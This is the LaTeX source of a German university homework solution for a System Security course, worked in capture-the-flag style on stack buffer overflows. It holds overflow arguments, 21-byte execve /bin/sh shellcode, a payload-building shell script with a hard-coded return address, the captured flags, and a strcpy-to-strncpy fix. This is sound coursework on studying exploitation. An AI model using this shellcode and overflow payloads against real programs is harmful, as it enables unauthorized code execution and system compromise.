\documentclass[11pt]{scrartcl} \usepackage[utf8]{inputenc} \usepackage[T1]{fontenc} \usepackage[ngerman]{babel} \usepackage{lmodern} \usepackage{graphicx} \usepackage{listings} \usepackage{xspace} \usepackage{amsmath} \usepackage{algorithm} \usepackage{algpseudocode} \usepackage{xifthen} \usepackage{xcolor} \usepackage{pdfpages} \usepackage[a4paper,lmargin={2cm},rmargin={2cm},tmargin={2.5cm},bmargin = {2.5cm},headheight = {4cm}]{geometry} \usepackage{amsmath,amssymb,amstext,amsthm} \usepackage[shortlabels]{enumitem} \usepackage[headsepline]{scrlayer-scrpage} \pagestyle{scrheadings} \usepackage{titling} \usepackage{etoolbox} \usepackage{tikz} \usepackage{multirow} \usepackage{tabularx} \definecolor{keyword}{rgb}{0.0, 0.0, 1.0} \definecolor{comment}{rgb}{0.5, 0.5, 0.5} \definecolor{string}{rgb}{0.6, 0.1, 0.1} \definecolor{background}{rgb}{0.95, 0.95, 0.95} \lstset{ language=bash, backgroundcolor=\color{background}, basicstyle=\ttfamily\small, keywordstyle=\color{keyword}\bfseries, commentstyle=\color{comment}\itshape, stringstyle=\color{string}, tabsize=2, showspaces=false, showstringspaces=false, frame=single, numbers=left, numberstyle=\tiny\color{gray}, breaklines=true, captionpos=b, escapeinside={(*@}{@*)}, } \usetikzlibrary{shapes, arrows, calc, automata, arrows.meta, positioning,decorations.pathmorphing,backgrounds,decorations.markings,decorations.pathreplacing, graphs} \usetikzlibrary{matrix,shapes,arrows,positioning,chains, calc} \usetikzlibrary{arrows.meta,matrix,shapes,arrows,positioning,chains, calc} \tikzset{% initial text={}, state/.style={circle, draw, minimum size=.6cm}, every initial by arrow/.style={-stealth}, every loop/.append style={-stealth}, >=stealth } \ohead{\parbox[t]{.5\linewidth}{\raggedleft \theauthor}} \ihead{System Security, SoSe 24, Assignment \thesheetnr} % Sheet number \newcounter{sheetnr} \newcommand{\sheetnr}[1]{\setcounter{sheetnr}{#1}} % Exercise environments \newenvironment{exercise}[2][]{\section*{#2\expandafter\ifstrempty\expandafter{#1}{}{\ #1}}}{} \newenvironment{subexercises}{\begin{enumerate}[a), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}} \newenvironment{subsubexercises}{\begin{enumerate}[i), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}} % Makros % MACRO for whole diagram % #1: total width of diagram % #2: total height of diagram % #3: nodes, paths, ... \newcommand\protocolflow[3]{ \begin{center} \begin{tikzpicture}[x=#1cm,y=#2cm] #3 \end{tikzpicture} \end{center} } % MACRO for path line shortening % #1: start coordinate % #2: target coordinate % #3: text above arrow \newcommand{\package}[3]{ \path[*-{latex[width=5pt, length=5pt]}] (#1) edge node [above] {#3} (#2); } % Anpassen --> % \author{Benjamin Haschka\\Sascha Tommasone\\Paul Zinselmeyer} \sheetnr{6} % <-- Anpassen % \begin{document} \begin{exercise}[Smashing the Stack for Fun and Profit]{5} \begin{subexercises} \item Wenn das Programm mit dem Kommandozeilenargument \\ \lstinline{$(printf "AAAAAAAAAAAAAAAAAAAAAAAA\xBA\xB0\xBA\xB0")} aufgerufen wird, wird der Kontrollfluss wie gewünscht geändert. \begin{tabular}{ |c|c||c|c|c|c||c|c|c|c| } \hline Vorheriger Speicher & Größe & \multicolumn{4}{|c||}{Vorheriger Speicher} & \multicolumn{4}{|c|}{Vorheriger Speicher}\\ \hline Vorheriger Stackframe&&?&?&?&? & ?&?&?&?\\ \hline Parameter password & 4 &BE&BA&FE&CA & 0&BA&FE&CA\\ \hline Return Address & 4 & ?&?&?&? & BA&B0&BA&B0\\ \hline Previous Frame Address & 4 & ?&?&?&? & 'A'&'A'&'A'&'A'\\ \hline &&?&?&?&? & 'A'&'A'&'A'&'A'\\ \hline &&?&?&?&? & 'A'&'A'&'A'&'A'\\ \hline &&?&?&?&? & 'A'&'A'&'A'&'A'\\ \hline &&?&?&?&? & 'A'&'A'&'A'&'A'\\ \hline &&'E'&'F'&0&? & 'A'&'A'&'A'&'A'\\ \hline Local Variable padded\_password & 24 & 'A'&'B'&'C'&'D' & 'A'&'A'&'A'&'A'\\ \hline Freier Speicher & & \multicolumn{4}{|c||}{Freier Speicher} & \multicolumn{4}{|c|}{Freier Speicher}\\ \hline \end{tabular} \item Mit dem Kommandozeilenargument \lstinline{$(printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80AAAAAAA\xEF\xBE\xDE\xC0")} wird der Shellcode in \\ \lstinline{padded_password} an Position \lstinline{0xC0DEBEEF} ausgeführt. Sollte sich \lstinline{padded_password} an einer anderen Position im Speicher befinden, funktioniert der Angriff nicht, da der Shellcode gar nicht, oder nur teilweise ausgeführt wird. \item \lstinline{strcpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strcpy.3.html} berücksichtigt nicht die maximale Länge des Zielspeichers. Die Funktion \\ \lstinline{strncpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strncpy.3.html} berücksichtigt die maximale Länge des Zielspeichers, indem dessen Länge als Parameter an die Funktion übergeben wird. \lstinline{strncpy(3p)} schreibt niemals (inklusive Nullbyte) über den angegebenen Speicherbereich hinaus. Konkret muss in diesem Fall die Zeile 12 \lstinline{strcpy(padded_password, password);} durch \lstinline{strncpy(padded_password, password, 24);} getauscht werden, um die Sicherheitslücke zu schließen. \end{subexercises} \end{exercise} \begin{exercise}[Stack-Based Buffer Overflow]{6} \begin{subexercises} \item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell ausgeführt wird. Die Flag lautet \lstinline|flag{THAT_WAS_EASY_HUH}|.\\ \begin{lstlisting}[language=Bash] #!/usr/bin/env sh # 21 Byte Shellcode SHELLCODE="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" # Padding to fill: # - 79 Bytes to fill buff # - 8 Bytes to fill the local variables before buff # - 4 Bytes to fill the saved ebp value PADDING=$(printf "A%.0s" $(seq 1 91)) # Address of the start of the buff array / shellcode RETADDR="\x1C\xDB\xFF\xFF" printf $SHELLCODE$PADDING$RETADDR \end{lstlisting} \item Die Flag lautet \lstinline|flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}|.\\ \end{subexercises} \end{exercise} \end{document}